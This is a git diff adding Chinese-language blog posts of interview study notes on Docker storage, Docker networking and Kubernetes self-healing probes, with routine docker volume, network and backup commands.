+总的来说,数据卷和绑定挂载都提供了将数据持久化和共享到容器外部的能力。选择哪种方法取决于具体的需求和用途。如果需要跨多个Docker宿主机或在不同的环境中保持一致性,数据卷可能是更好的选择。如果需要直接从宿主机访问和修改数据,绑定挂载可能更为合适。 +``` +控制组(cgroups)用于限制和监控容器对系统资源的使用,如CPU、内存和磁盘I/O。 + +容器启动: +Docker Daemon初始化容器的主进程。这通常是在Dockerfile中定义的CMD或ENTRYPOINT。 +容器开始运行,直到主进程结束。 + +日志和监控: +Docker捕获容器的标准输出和标准错误输出,这些输出可以通过docker logs命令查看。 +Docker还监控容器的资源使用和性能指标。 + +> 请描述Kubernetes的基本架构和组件 + + +## 网络和Linux内核: + +网络基础知识,如TCP/IP、HTTP、负载均衡、网络隔离等。 +Linux内核的基础知识,如进程管理、文件系统、网络栈等。 + +## 研发平台和IaaS: + +CI/CD流程的理解,包括持续集成、持续交付的工具和最佳实践。 +对基础即服务(IaaS)设施的理解,包括公有云、橡树云、混合云的特点和用途。 + +## 系统稳定性和可用性: + +故障检测、恢复、备份和灾难恢复策略。 +监控、日志和报警的最佳实践。 +开源和软硬件架构: + +## 对开源技术的贡献或使用经验。 +对现代硬件架构的理解,如GPU、TPU、FPGA在云基础设施中的应用。 + +## 问题解决能力: + +能否描述过去在大规模系统中遇到的技术挑战和解决方案。 +针对给定的复杂问题,是否能够提出创新和实用的解决方案。 + +## 团队合作与沟通能力: + +是否能够清晰表达技术观点。 +在团队中的协作经验和对于团队文化的适应。 + + + +## Other + +> 函数选项模式 + + +设计模式叫做“函数选项模式”(Functional Options Pattern)。这种模式主要用于构建或配置一个对象时提供灵活性,特别是当对象有许多配置选项,但很多选项都有默认值时。通过使用函数选项,可以选择性地提供想要自定义的配置,并为其它选项使用默认值。 + +这种模式的主要优势是: + +可读性:在调用时,函数名清晰地描述了正在设置的配置选项。 +扩展性:随着时间的推移,如果想要添加更多的配置选项,只需添加新的函数即可,而无需修改现有的函数或结构。 +强类型:每个选项函数可以要求特定的参数类型,从而提供类型安全。 +默认值:只需设置需要的选项,其它选项可以保留其默认值。 +该模式通常与构建者模式相结合,但主要区别在于它使用函数来设置选项,而不是链式的方法调用。 + + diff --git a/_posts/2023-10-13-test-markdown.md b/_posts/2023-10-13-test-markdown.md new file mode 100644 index 000000000000..c24967108720 --- /dev/null +++ b/_posts/2023-10-13-test-markdown.md @@ -0,0 +1,909 @@ +--- +layout: post +title: Docker相关 +subtitle: +tags: [Docker] +comments: true +--- + +# 1.Docker存储 + +### 1.1 基础: + +> 请解释Docker的Union File System是什么? + +Union File System(联合文件系统)是一种轻量级、可堆叠的文件系统,它允许多个独立的文件系统(在Docker中被称为“层”)被挂载为一个看似单一的文件系统。这些层是只读的,除了最上面的一层,它是可写的。当对文件系统进行写操作时,它使用“写时复制”(Copy-on-Write,简称 CoW)策略,这意味着只有当文件被修改时,它才会被复制到最上层的可写层。这种设计使得Docker镜像可以共享公共的基础层,同时还能保持轻量级和高效。 + +> “写时复制”(Copy-on-Write,简称 CoW)策略在Docker中的工作原理: + +首先,我们需要理解Docker镜像和容器是如何使用层(layers)来构建的。每个Docker镜像都由多个只读层组成,而当我们从镜像启动一个容器时,Docker会在这些只读层的顶部添加一个可写层。 + +CoW策略: + +初始状态:当启动一个容器,容器的文件系统看起来就像一个完整的、单一的文件系统,但实际上它是由多个只读层和一个可写层组合而成的。 + +读操作:当容器读取一个文件时,它会从最上面的层开始查找,然后逐层向下,直到找到该文件。因为所有的修改都在最上面的可写层,所以这确保了容器总是看到最新版本的文件。 + +写操作:当容器需要修改一个文件时,CoW策略就会发挥作用: + +如果文件在可写层中不存在,Docker会从下面的只读层中找到这个文件,并复制到最上面的可写层,然后,容器会修改这个在可写层中的文件副本,而不是原始的只读文件。 + +新文件:如果容器创建一个新文件,那么这个文件直接在可写层中创建,不涉及复制操作。 + +删除操作:如果容器删除一个文件,Docker不会真的删除它,而是在可写层中为该文件添加一个特殊的标记(称为“whiteout”文件),这表示该文件已被删除。因此,当容器尝试访问该文件时,由于“whiteout”文件的存在,它会认为文件已经不存在。 + +高效:只有在需要时才复制文件,这节省了存储空间和I/O操作。 + +快速启动:启动一个新容器不需要复制整个镜像文件系统,只需添加一个新的可写层即可。 + +共享基础层:多个容器可以共享相同的基础只读层,这进一步节省了存储空间。 + +总的来说,CoW策略允许Docker在提供隔离的同时,高效地使用存储资源。 + + +> 描述Docker镜像和容器之间的关系。 + +Docker镜像是一个轻量级、独立的、可执行的软件包,它包含运行应用所需的所有内容:代码、运行时、系统工具、系统库和设置。镜像是不可变的,即它们一旦被创建就不能被修改。 + +容器则是Docker镜像的运行实例。当启动一个容器时,Docker会在镜像的最上层添加一个薄的可写层(称为“容器层”)。所有对容器的修改(例如写入新文件、修改文件等)都会在这个可写层中进行,而不会影响下面的只读镜像层。 + +> 什么是Docker的数据卷(volumes)?它与绑定挂载(bind mounts)有何不同? + +数据卷是Docker宿主机上的特殊目录,它可以绕过联合文件系统并直接挂载到容器中。数据卷是独立于容器的,即使容器被删除,卷上的数据仍然存在并且不会受到容器生命周期的影响。 + +绑定挂载则允许将宿主机上的任何目录或文件挂载到容器中。与数据卷不同,绑定挂载依赖于宿主机的文件系统结构。 + +主要的区别在于: + +来源:数据卷是由Docker管理的特殊目录,而绑定挂载可以是宿主机上的任何目录或文件。 +生命周期:数据卷通常是独立于容器的,而绑定挂载的生命周期与宿主机上的实际文件或目录相关。 +使用场景:数据卷更适合持久化存储和数据共享,而绑定挂载更适合开发场景,例如代码或配置的实时修改。 + +### 1.2 进阶: + +> 如何在Docker容器中使用一个已存在的数据卷? + +要在Docker容器中使用一个已存在的数据卷,可以在运行容器时使用-v或--volume选项来挂载该数据卷。具体的步骤: + +查看已存在的数据卷: +首先,可以使用以下命令查看宿主机上所有的数据卷: + +```bash +docker volume ls +``` +运行容器并挂载数据卷: +假设有一个名为myvolume的数据卷,并希望将其挂载到容器的/data目录下,可以使用以下命令: + +```bash +docker run -v myvolume:/data +``` +在上述命令中,myvolume:/data指定了数据卷myvolume应该挂载到容器的/data目录。 + +使用特定的挂载选项: +如果需要更多的控制,如设置只读权限,可以使用--mount选项代替-v或--volume。例如,要以只读模式挂载myvolume,可以这样做: + +```bash +docker run --mount source=myvolume,target=/data,readonly +``` +通过上述方法,可以在Docker容器中使用已存在的数据卷,从而实现数据的持久化和共享。 + +-v 或 --volume 和 --mount 都可以用来挂载数据卷和绑定挂载,但它们的语法和功能有所不同。 + +-v 或 --volume: + +这是Docker早期的挂载选项,语法比较简洁。 +可以用于数据卷和绑定挂载。 +例如,挂载数据卷: +```bash +docker run -v myvolume:/path/in/container +``` +用于绑定挂载: +```bash +docker run -v /path/on/host:/path/in/container +``` + +关键在于-v或--volume选项的第一个参数: + +**如果它是一个宿主机上的路径(通常包含一个/),那么Docker会认为想进行绑定挂载**。 +**如果它不是一个宿主机上的路径(例如,它不包含/),那么Docker会认为想挂载一个数据卷。** + +--mount: + +这是Docker引入的较新的挂载选项,提供了更详细的挂载配置。 +可以用于数据卷、绑定挂载、tmpfs(临时文件系统)或其他特定的挂载类型。 +例如,挂载数据卷: + +```bash +docker run --mount source=myvolume,target=/path/in/container +``` +用于绑定挂载: +```bash +docker run --mount type=bind,source=/path/on/host,target=/path/in/container +``` +总的来说,-v 或 --volume 和 --mount 都可以用于数据卷和绑定挂载,但 --mount 提供了更多的功能和更明确的语法。随着时间的推移,推荐使用 --mount 选项,因为它提供了更多的功能和更好的可读性。 + +> 描述Docker的存储驱动。有使用过哪些存储驱动?它们之间有何主要差异? + +Docker的存储驱动是用于实现其联合文件系统的组件。联合文件系统允许Docker在容器和镜像中高效地管理文件和目录。不同的存储驱动可能会有不同的性能和功能特点。 + +以下是一些常见的Docker存储驱动: + +Overlay2: +是Docker推荐的存储驱动。 +使用OverlayFS实现,它是一个现代的联合文件系统。 +相对于原始的Overlay驱动,Overlay2提供了更好的性能和稳定性。 + +aufs: +是最早支持的存储驱动之一。 +使用Another Union File System (AUFS)实现。 +在某些旧的Linux内核版本中可能不受支持。 + +devicemapper: +使用设备映射技术。 +可以在两种模式下运行:直通模式(loopback)和块设备模式(direct-lvm)。 +直通模式性能较差,而块设备模式提供了更好的性能。 + +btrfs: +使用B-tree文件系统(Btrfs)。 +提供了一些高级功能,如快照和数据冗余。 +在某些Linux发行版中可能不受支持。 + +zfs: +使用Zettabyte文件系统(ZFS)。 +提供了高级的数据管理功能,如快照、数据完整性检查和修复。 +需要特定的内核模块和系统配置。 + +vfs: +是一个非联合文件系统的存储驱动。 +对于每个容器和镜像,都会创建一个新的目录。 +由于没有使用联合文件系统,性能和存储效率都不高,通常只在特定的用例中使用。 +主要差异: + +性能:不同的存储驱动在性能上可能有所不同,特别是在高I/O负载下。 +功能:一些存储驱动提供了高级功能,如快照和数据冗余。 +稳定性:一些存储驱动可能在特定的内核或平台上更稳定。 +兼容性:不是所有的Linux发行版和内核版本都支持所有的存储驱动。 + + +> 如何备份和恢复Docker的数据卷? + +备份数据卷: + +使用docker cp命令: +这是一个简单的方法,允许从容器复制文件或目录。 + +```bash +docker run --rm -v myvolume:/volume -v /tmp:/backup ubuntu tar cvf /backup/myvolume.tar /volume +``` +这里,我们使用ubuntu镜像创建了一个临时容器,挂载了myvolume到/volume目录,并将宿主机的/tmp目录挂载到/backup。然后,我们使用tar命令创建了一个备份文件myvolume.tar。 + +恢复数据卷: +使用docker cp命令: +这也是一个简单的方法,允许将文件或目录复制到容器中。 + + +# 创建一个新的临时容器并挂载数据卷 +```shell +docker run --rm -v myvolume:/volume -v /tmp:/backup ubuntu bash -c "cd /volume && tar xvf /backup/myvolume.tar" +``` +这里,我们同样使用ubuntu镜像创建了一个临时容器,并按照相同的方式挂载了数据卷和宿主机目录。然后,我们使用tar命令解压备份文件到数据卷。 + +在命令 docker run --rm -v myvolume:/volume -v /tmp:/backup ubuntu tar cvf /backup/myvolume.tar /volume 中: + +-v myvolume:/volume: + +myvolume 是宿主机上的一个Docker数据卷。 +/volume 是容器内部的一个目录,可以将其视为容器的一个挂载点,它挂载了 myvolume 这个数据卷。 +-v /tmp:/backup: + +/tmp 是宿主机上的一个目录。 +/backup 是容器内部的一个目录,它挂载了宿主机上的 /tmp 目录。 +tar cvf /backup/myvolume.tar /volume: + +这是在容器内部执行的命令。 +/backup/myvolume.tar 是容器内部的一个文件路径,但由于 /backup 目录挂载了宿主机的 /tmp 目录,所以实际上这个 .tar 文件会被创建在宿主机的 /tmp 目录下。 +/volume 是容器内部的目录,它挂载了 myvolume 数据卷。这个命令的目的是将 /volume 目录下的内容打包成一个 .tar 文件。 + +#### **高级**: + +> 当Docker容器写入数据时,其背后的工作原理是什么? + +当一个Docker容器试图写入数据到一个挂载的数据卷时,以下是它所经历的步骤: + +写请求: + +容器内的应用发起一个写请求,试图写入或修改一个文件。 +定位数据: + +Docker首先确定这个写请求是针对容器的文件系统还是针对挂载的数据卷。 +如果写请求是针对挂载的数据卷的,Docker会将请求重定向到宿主机上的相应数据卷。 + +写入数据卷: +数据卷实际上是宿主机上的一个特定目录,Docker会直接在这个目录中写入或修改文件。这个过程绕过了联合文件系统和写时复制(Copy-on-Write)策略,因为数据卷是直接映射到宿主机的。 + +返回结果: +一旦写操作完成,Docker会返回操作的结果给容器内的应用。如果写操作成功,应用会继续其其他操作;如果写操作失败,应用可能会收到一个错误。 + +数据持久化: +由于数据卷是直接映射到宿主机的,所以容器内写入的数据会立即持久化。即使容器被删除或重启,数据卷上的数据仍然存在。 +这个过程确保了容器内的应用可以像访问本地文件系统一样访问数据卷,同时还能享受数据的持久化和高性能。 + +联合文件系统: +Docker使用联合文件系统来组织和管理容器的文件系统。这意味着容器的文件系统实际上是由多个层组成的,其中大部分层是只读的,而最上面的层是可写的。 +当容器从一个镜像启动时,所有的只读层都来自于该镜像,而Docker会为容器添加一个新的可写层。 + +写时复制(Copy-on-Write,CoW)策略: +当容器试图修改一个文件时,Docker首先检查该文件是否存在于容器的可写层。如果存在,容器直接在可写层中修改该文件。 +如果文件不存在于可写层,Docker会从下面的只读层中找到该文件,并复制到可写层。然后,容器会修改这个复制到可写层的文件,而不是原始的只读文件。这就是所谓的“写时复制”策略。 +如果容器创建一个新文件,该文件直接在可写层中创建,不涉及复制操作。 + +数据持久化: +由于容器的可写层是与容器的生命周期绑定的,当容器被删除时,其可写层也会被删除。因此,任何在容器中写入的数据都是临时的,除非使用数据卷或绑定挂载来持久化存储。 +数据卷和绑定挂载允许容器将数据写入宿主机的文件系统,从而实现数据的持久化。 + +存储驱动: +Docker支持多种存储驱动,如Overlay2、aufs、devicemapper等。不同的存储驱动可能有不同的性能和功能特点,但它们都实现了上述的联合文件系统和写时复制策略。 +总的来说,当Docker容器写入数据时,它使用联合文件系统和写时复制策略来管理和组织文件。这种设计允许容器快速启动,同时还能高效地共享存储资源。 + +> 如何优化Docker的存储性能? + +> 描述Docker的层次存储和如何清理未使用的存储资源。 + +### Docker网络: + +#### **基础**: + +> 描述Docker的默认网络模式。 + +虚拟网络桥: + +在宿主机上,Docker创建了一个名为docker0的虚拟网络桥。这是默认的网络桥,所有使用bridge模式的容器默认都会连接到这个桥。 +NAT(Network Address Translation,网络地址转换)是一种在IP网络中的主机或路由器为IP数据包重新映射源IP地址或目标IP地址的技术。NAT的主要目的是允许一个组织使用一个有效的IP地址与外部网络通信,尽管其内部网络使用的是无效的IP地址。 + +NAT规则举例: +假设家里有一个路由器,内部网络使用的是私有IP地址范围(例如,192.168.1.0/24),而路由器从ISP获得了一个公共IP地址(例如,203.0.113.10)。当的计算机(IP地址为192.168.1.100)试图访问一个外部网站时,路由器会使用NAT将数据包的源IP地址从192.168.1.100更改为203.0.113.10,并发送到外部网络。当响应返回时,路由器会将目标IP地址从203.0.113.10更改为192.168.1.100,并将数据包转发给的计算机。 + +创建Docker网络: +当执行如下命令创建一个自定义的Docker网络: + +```bash +docker network create my_custom_network +``` + +Docker会进行以下操作: +分配子网:Docker为新网络分配一个子网。默认情况下,Docker使用内部的IPAM(IP地址管理)驱动来自动选择一个可用的子网。 + +创建网络桥:对于bridge网络类型(默认类型),Docker会在宿主机上创建一个新的网络桥。这个桥与默认的docker0桥类似,但是专门用于该自定义网络。 + +配置NAT规则:Docker配置NAT规则,使得在该网络上的容器可以与外部网络通信。 + +在自定义网络上运行容器: +当运行一个容器并指定使用my_custom_network网络: + +```bash +docker run --network=my_custom_network +``` + +Docker会进行以下操作: +创建网络接口:为新容器创建一个虚拟网络接口。 + +连接到网络桥:将新容器的网络接口连接到my_custom_network对应的网络桥。 + +分配IP地址:从my_custom_network的子网中为新容器分配一个IP地址。 + +更新DNS解析:Docker维护了一个内部DNS服务器,它允许容器使用容器名进行DNS解析。当在自定义网络上运行容器时,Docker会更新这个DNS服务器,使得在同一网络上的容器可以通过容器名相互解析。 + +为什么同一个Docker网络下的容器可以相互通信? + +网络隔离:每个Docker网络都有自己的隔离空间。在同一网络上的容器共享同一个网络命名空间,因此它们可以直接使用IP地址或容器名相互通信。 + +内部DNS解析:Docker为每个自定义网络提供了一个内部DNS服务器。这使得容器可以使用容器名进行DNS解析,从而轻松地相互通信。 + +共享网络桥:在同一bridge网络上的所有容器都连接到同一个网络桥。这意味着它们都在同一个局域网(L2网络)上,因此可以直接相互通信。 + +总的来说,Docker通过网络隔离、内部DNS解析和共享网络桥等技术,确保了在同一网络上的容器可以轻松、安全地相互通信。 + +Docker为什么要分配子网、创建网络桥和配置NAT规则? + +分配子网: +每个Docker网络需要一个唯一的IP地址范围,以确保容器的IP地址不会发生冲突。分配子网可以为在该网络上运行的每个容器提供一个唯一的IP地址。 + +创建网络桥: +网络桥允许多个网络接口在数据链路层(L2)上进行通信,就像它们在同一个局域网(LAN)上一样。Docker为每个bridge网络创建一个网络桥,以确保在该网络上的容器可以相互通信。 + +配置NAT规则: +容器默认使用的是私有IP地址,这意味着它们不能直接与外部网络通信。通过配置NAT规则,Docker可以将容器的流量转发到宿主机的网络接口,从而允许容器与外部网络通信。 +同样,当映射容器的端口到宿主机的端口时,Docker使用NAT规则将外部流量转发到正确的容器。 +总的来说,Docker使用子网、网络桥和NAT规则等技术,为容器提供了一个隔离、安全和功能强大的网络环境。这使得容器可以像独立的虚拟机一样运行,同时还能高效地共享宿主机的网络资源。 + + +> Docker支持哪些网络模式?请简要描述每种模式。 + +Docker支持多种网络模式,每种模式都有其特定的用途和特性。以下是Docker支持的主要网络模式及其简要描述: + +Bridge(桥接)模式: + +这是Docker的默认网络模式。 +容器连接到一个私有内部网络,通过一个虚拟桥docker0与宿主机通信。 +容器获得该私有网络上的IP地址。 +容器可以通过NAT访问外部网络,但外部网络需要通过端口映射来访问容器。 +```shell +docker run --network=bridge +``` +或者,如果创建了自定义的bridge网络(例如名为my_bridge): +```shell +docker run --network=my_bridge +``` + +Host(宿主机)模式: +在这种模式下,容器共享宿主机的网络命名空间,这意味着容器使用宿主机的网络栈和IP地址。 +容器可以直接使用宿主机的端口,无需端口映射。 + +```shell +docker run --network=host +``` + +None(无)模式: +这种模式为容器提供了一个独立的网络命名空间,但不为容器配置任何网络接口、IP地址等。 +这通常用于需要自定义网络配置或运行特殊网络服务的容器。 +```shell +docker run --network=none +``` + +Overlay(覆盖)模式: +这种模式允许在多个Docker宿主机之间创建一个分布式网络,使得在不同宿主机上的容器可以直接通信。 +这对于跨多个宿主机的Docker集群(如Swarm)中的容器通信非常有用。 +```shell +docker network create -d overlay my_overlay +``` + +Macvlan(MAC VLAN)模式: +这种模式允许容器直接连接到宿主机的物理网络,使用其自己的MAC地址。 +容器获得与宿主机相同网络上的IP地址,就像它是网络上的一个物理设备一样。 +```shell +docker network create -d macvlan --subnet=192.168.1.0/24 --gateway=192.168.1.1 -o parent=eth0 my_macvlan +docker run --network=my_macvlan +``` + +IPVlan(IP VLAN)模式: +类似于Macvlan,但是它使用IP地址级别的隔离,而不是MAC地址。 +容器可以共享宿主机的MAC地址,但有其自己的IP地址。 +```shell +docker network create -d ipvlan --subnet=192.168.1.0/24 --gateway=192.168.1.1 -o parent=eth0 my_ipvlan +docker run --network=my_ipvlan +``` + +```shell +docker network create mysql-net +docker run --name mysql-slave1 --network=mysql-net -p 3308:3306 -e MYSQL_ROOT_PASSWORD=123456 -v $(pwd)/my-slave1.cnf:/etc/mysql/conf.d/my.cnf -d mysql +``` +用户定义的bridge网络模式。 + +用户定义的bridge网络与默认的bridge网络类似,但有一些关键的区别和优势: + +DNS解析:在用户定义的bridge网络中,Docker提供了一个内部的DNS服务器,使得容器可以使用容器名进行DNS解析。这意味着在mysql-net网络上的容器可以通过容器名(如mysql-master、mysql-slave1、mysql-slave2)相互通信,而无需知道它们的IP地址。 + +更好的隔离:用户定义的bridge网络提供了更好的网络隔离,确保容器之间的通信更加安全。 + +自定义配置:用户可以为用户定义的bridge网络指定子网、网关等网络参数。 + +总的来说,通过使用用户定义的bridge网络,可以更灵活地配置和管理容器的网络环境,同时还能享受容器名的DNS解析和更好的网络隔离等优势。 + +> 如何连接Docker容器到一个自定义网络? + +当使用docker run命令创建容器时,可以使用--network选项指定要连接的网络。 +例如,如果有一个名为my_custom_network的自定义网络,可以这样创建并连接一个容器: +```shell +docker run --network=my_custom_network +``` +如果已经有一个正在运行的容器并希望将其连接到一个自定义网络,可以使用docker network connect命令。 +例如,要将名为my_container的容器连接到my_custom_network网络,可以执行: +```shell +docker network connect my_custom_network my_container +``` + +从自定义网络断开容器: +如果想从自定义网络断开容器,可以使用docker network disconnect命令: +```shell +docker network disconnect my_custom_network my_container +``` +查看容器的网络信息: +要查看容器的网络信息,包括它连接到哪些网络,可以使用docker inspect命令: +```shell +docker inspect my_container +``` + +#### **进阶**: + +> 描述Docker的网络命名空间是如何工作的。 + +网络命名空间是Linux命名空间的一种,它允许隔离网络资源。在Docker的上下文中,网络命名空间用于确保每个容器都有其独立的网络环境,这样容器就可以像独立的虚拟机一样运行。以下是Docker网络命名空间的工作原理: + +独立的网络栈: +当Docker创建一个新的容器时,它会为该容器创建一个新的网络命名空间。这意味着每个容器都有自己的网络栈,包括IP地址、路由表、网络接口等。 + +虚拟网络接口: +Docker为每个容器创建一个或多个虚拟网络接口(例如,eth0)。这些接口在容器的网络命名空间内,但它们可以与宿主机的网络接口或其他容器的网络接口进行桥接。 + +连接到网络桥: +在默认的bridge网络模式下,Docker在宿主机上创建一个名为docker0的虚拟网络桥。当新容器启动时,Docker会创建一个虚拟网络接口并将其连接到这个桥。这允许容器与宿主机和其他容器通信。 + +IP地址和路由: +Docker为容器的虚拟网络接口分配一个IP地址。这个IP地址来自预定义的私有地址范围。 +Docker还配置容器的路由表,确保容器可以通过其虚拟网络接口与外部网络通信。 + +NAT和端口映射: +为了使容器能够与外部网络通信,Docker在宿主机上配置NAT规则。这允许容器的流量通过docker0桥和宿主机的物理网络接口流出。 +当映射容器的端口到宿主机的端口时,Docker使用NAT规则将外部流量转发到正确的容器。 + +隔离和安全性: +由于每个容器都有自己的网络命名空间,因此它们之间的网络环境是完全隔离的。这意味着容器之间的网络流量不会相互干扰,除非明确允许它们通信。 + + +> 如何在Docker容器之间设置网络别名? + +在Docker中,网络别名允许为容器在特定网络上定义一个或多个额外的名称。这在多个容器需要通过不同的名称访问同一个容器时特别有用。例如,一个容器可能需要作为db、database和mysql被其他容器访问。 + +以下是如何为Docker容器设置网络别名的步骤: + +创建自定义网络(如果还没有): +网络别名功能在用户定义的网络中可用,而不是在默认的bridge网络中。 + +```bash +docker network create my_custom_network +``` +运行容器并设置网络别名: +使用--network-alias选项为容器在指定网络上设置一个或多个别名。 + +```bash +docker run --network=my_custom_network --network-alias=alias1 --network-alias=alias2 +``` +在上面的命令中,容器在my_custom_network网络上有两个别名:alias1和alias2。 + +使用网络别名进行通信: +一旦容器有了网络别名,其他在同一网络上的容器就可以使用这些别名来通信。 +例如,如果有一个名为mydb的数据库容器,并为其设置了db和database两个别名,那么其他容器可以使用mydb、db或database来访问该数据库容器。 + +注意: +一个容器可以在同一网络上有多个网络别名。 +网络别名是网络特定的,这意味着在不同的网络上,容器可以有不同的别名。 +使用网络别名,可以为容器提供更灵活的网络配置,使得容器间的通信更加简单和直观。 + +> 什么是Docker的网络驱动?请列举几个常见的网络驱动。 + +#### **高级**: + +> 如何在Docker中实现服务发现? + +在Docker中,服务发现是容器能够自动发现和通信的过程,而无需预先知道其他容器的IP地址或主机名。Docker为用户定义的网络提供了内置的服务发现功能。以下是在Docker中实现服务发现的方法: + +使用用户定义的网络: +Docker的默认bridge网络不支持自动服务发现。为了使用服务发现,需要创建一个用户定义的网络: + +```bash +docker network create my_network +``` + +运行容器并连接到用户定义的网络: +当在用户定义的网络上运行容器时,Docker会自动为容器的名称提供DNS解析。 + +例如,启动一个名为my_service的容器: + +```bash +docker run --network=my_network --name my_service +``` + +从其他容器访问该服务: +现在,如果在my_network上启动另一个容器,可以简单地使用容器名称my_service来访问它,就像它是一个DNS名称一样。 + +```bash +docker run --network=my_network ping my_service +``` + +使用网络别名: +除了使用容器名称,还可以为容器设置网络别名,使得其他容器可以使用这些别名来访问它。 + +```bash +docker run --network=my_network --name my_service --network-alias=alias1 +``` +现在,其他容器可以使用my_service或alias1来访问该服务。 + + +使用Docker Compose: +Docker Compose是一个工具,用于定义和运行多容器Docker应用程序。使用docker-compose.yml文件,可以定义服务、网络和别名。Docker Compose会自动处理服务发现和网络配置。 +例如,在docker-compose.yml中: + +```yaml +version: '3' +services: + web: + image: web_image + networks: + - my_network + db: + image: db_image + networks: + - my_network + aliases: + - database + +networks: + my_network: + driver: bridge +``` + +在上面的配置中,web服务可以通过db或database来访问数据库服务。 + +使用第三方工具: +对于更复杂的环境,如跨多个宿主机或集群,可能需要使用第三方工具或平台,如Kubernetes、Consul、Etcd或Zookeeper,来实现服务发现和负载均衡。 +总的来说,Docker为用户定义的网络提供了简单的内置服务发现功能,但对于更复杂的需求,可能需要考虑使用第三方工具或服务。 + + +> 描述Docker的Overlay网络和其工作原理。 + +Docker的Overlay网络允许在多个Docker宿主机之间建立一个分布式网络,这使得在不同宿主机上运行的容器可以直接通信,就像它们在同一个局域网中一样。Overlay网络特别适用于Docker Swarm模式或其他集群环境。 + +以下是Docker Overlay网络的工作原理: + +网络基础设施: + +Overlay网络依赖于几个网络技术,尤其是VXLAN(Virtual Extensible LAN)。VXLAN允许创建一个虚拟的局域网,将数据包封装在UDP数据包中进行传输。 +创建Overlay网络: + +当在Docker Swarm模式中创建一个Overlay网络时,Docker会为该网络在Swarm集群的每个节点上创建一个特殊的网络桥。 +容器通信: + +当一个容器想要与另一个在不同宿主机上的容器通信时,数据包首先会被封装(使用VXLAN技术),然后通过宿主机的物理网络发送到目标容器的宿主机,最后再解封装并发送到目标容器。 +网络控制平面: + +Docker使用一个分布式键值存储(如Consul、Etcd或Zookeeper)作为Overlay网络的控制平面。这个键值存储保存了网络配置和状态信息,使得所有的Docker宿主机都可以获取和更新网络信息。 +服务发现: + +使用Overlay网络,容器可以使用其他容器的服务名称进行通信,而不是IP地址。Docker内部的DNS服务器会解析这些服务名称,使得容器间的通信更加简单和直观。 +负载均衡: + +在Docker Swarm模式中,Overlay网络还支持内置的负载均衡。当多个容器提供相同的服务时,Docker会自动分发进入的请求,确保负载均匀地分布在所有容器上。 +加密: + +Overlay网络支持在宿主机之间的通信加密,确保数据在传输过程中的安全性。 +总的来说,Docker的Overlay网络提供了一个虚拟的网络层,使得在不同宿主机上的容器可以直接通信。这是通过封装和解封装数据包、使用分布式键值存储和内置的DNS解析来实现的。这种网络模型特别适用于大型、分布式的容器环境,如Docker Swarm或Kubernetes集群。 + + +> 如何保障Docker网络的安全性?请列举一些最佳实践。 + +使用用户定义的桥接网络: + +默认的Docker桥接网络不提供完全的网络隔离。创建用户定义的桥接网络可以为每个容器提供一个内部私有IP,增强隔离性。 + +限制容器间的通信: +使用--icc=false标志禁止容器间的通信,除非使用--link明确允许。 + +禁用容器的网络命名空间: +对于需要增强安全性的容器,可以考虑禁用其网络,使其无法与其他容器或外部网络通信。 + +使用网络策略: +在Kubernetes或其他编排工具中,使用网络策略来定义哪些容器或Pod可以相互通信。 + +限制暴露的端口: +只暴露必要的端口,并确保不暴露敏感或内部服务的端口到宿主机或外部网络。 + +使用加密通信: +在容器之间或从容器到外部服务的所有通信都应使用TLS/SSL加密。 + +使用专门的网络插件: +考虑使用如Calico、Cilium或Weave等Docker网络插件,这些插件提供了增强的网络安全性和隔离性。 + +日志和监控: +启用并监控Docker守护进程和容器的网络活动日志,以检测和响应任何可疑活动。 + +定期扫描和更新: +使用工具如Clair或Anchore定期扫描容器镜像以检测已知的安全漏洞,并及时更新容器镜像。 + +使用防火墙和安全组: +在宿主机上配置防火墙规则,限制入站和出站流量。在云环境中,使用安全组或其他网络访问控制工具。 + +限制容器的能力: +使用--cap-drop和--cap-add选项,限制容器的Linux能力,以减少潜在的攻击面。 + +使用专用的运行时: +考虑使用如gVisor或Kata Containers等沙盒容器运行时,为容器提供额外的隔离层。 +通过遵循上述最佳实践,可以增强Docker网络的安全性,减少潜在的风险,并确保的应用和数据安全。 + +> 假如我一个服务要部署在Kubernetes中,我的服务提供什么样的功能才能使得,Kubernetes检测到问题的时候,它可以帮助我的服务自动恢复或重新启动? + +为了让Kubernetes能够检测到服务的问题并自动采取恢复措施,的服务应该提供以下功能: + +健康检查(Liveness Probes): + +Kubernetes使用liveness probes来确定容器是否正在运行。如果liveness probe失败,Kubernetes会杀死容器,并根据其重启策略重新启动它。 +的服务应该提供一个端点(例如,/health),Kubernetes可以定期检查这个端点。如果端点返回的状态码表示失败,Kubernetes会认为容器不健康并采取措施。 +就绪检查(Readiness Probes): + +Kubernetes使用readiness probes来确定容器是否已准备好开始接受流量。如果容器不准备好,它不会接收来自服务的流量。 +的服务应该提供一个端点(例如,/ready),表示服务是否已准备好处理请求。 +启动探针(Startup Probes)(Kubernetes 1.16及更高版本): + +这是一个新的探针,用于确定容器应用是否已启动。如果配置了启动探针,它会禁用其他探针,直到成功为止,确保应用已经启动。 +资源限制和请求: + +为的服务容器设置CPU和内存的资源限制和请求。这不仅可以确保服务获得所需的资源,而且当容器超出其资源限制时,Kubernetes可以采取措施。 +重启策略: + +在Pod定义中,可以设置restartPolicy。对于长时间运行的服务,通常设置为Always,这意味着当容器退出时,Kubernetes会尝试重新启动它。 +日志输出: + +保持清晰、结构化的日志输出,以便在出现问题时进行故障排查。Kubernetes可以收集和聚合这些日志,使得监控和警报更加容易。 +优雅地关闭: + +当Kubernetes尝试关闭容器时,它首先会发送SIGTERM信号。的应用应该捕获这个信号,并开始优雅地关闭,例如完成正在处理的请求、关闭数据库连接等。 +集成监控和警报工具: + +考虑集成如Prometheus、Grafana等工具,以监控服务的性能和健康状况,并在出现问题时发送警报。 +通过实现上述功能和最佳实践,可以确保Kubernetes能够有效地监控、管理和恢复的服务。 + + +> 描述Docker的主要组件及其功能(例如Docker Daemon、Docker CLI、Docker Image、Docker Container)。 + +Docker Daemon (dockerd): + +功能:Docker Daemon是后台运行的进程,负责构建、运行和管理Docker容器。它处理Docker API请求并可以与其他Docker守护进程通信。 +实际应用:当在一台机器上启动或停止容器时,实际上是Docker Daemon在执行这些操作。 + + +Docker CLI (docker): + +功能:Docker命令行接口是用户与Docker Daemon交互的主要方式。它提供了一系列命令,如docker run、docker build和docker push等,使用户能够操作容器和镜像。 +实际应用:当在终端中输入docker命令时,实际上是在使用Docker CLI与Docker Daemon通信。 + + +Docker Image: +功能:Docker镜像是容器运行的基础。它是一个轻量级、独立的、可执行的软件包,包含运行应用所需的所有内容:代码、运行时、系统工具、系统库和设置。 +实际应用:当使用docker build命令创建一个新的Docker镜像或从Docker Hub下载一个现有的镜像时,正在操作Docker Image。 